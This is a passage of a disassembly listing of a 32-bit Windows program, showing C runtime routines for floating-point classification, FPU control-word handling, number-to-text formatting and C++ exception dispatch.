		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D418
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D418
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D424
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26B0528h
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D094, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D098
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D098
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D440o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE6C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE68
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D098
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE6C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE6C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE70
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE68
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D098
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE6C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE68, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE70, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE68
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE70, ecx
		setl	cl
		mov	byte_4DBE74, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE70, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE6C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE6C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE6C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE6C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE78
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE7C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------
